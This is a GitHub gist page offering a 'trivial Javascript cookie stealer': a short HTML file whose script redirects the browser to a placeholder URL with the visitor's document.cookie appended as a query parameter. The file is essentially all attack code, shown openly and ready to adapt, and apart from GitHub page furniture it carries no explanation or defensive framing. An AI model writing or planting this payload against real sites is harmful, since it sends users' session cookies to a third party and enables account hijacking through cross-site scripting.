Last active
June 19, 2018 14:47
-
-
Save b13bs/2a0db94913e5591b463806cce848ef49 to your computer and use it in GitHub Desktop.
Trivial Javascript cookie stealer
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!doctype html> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<title>Page title</title> | |
</head> | |
<body> | |
<script> | |
document.location="http://url/?c=" + document.cookie; | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment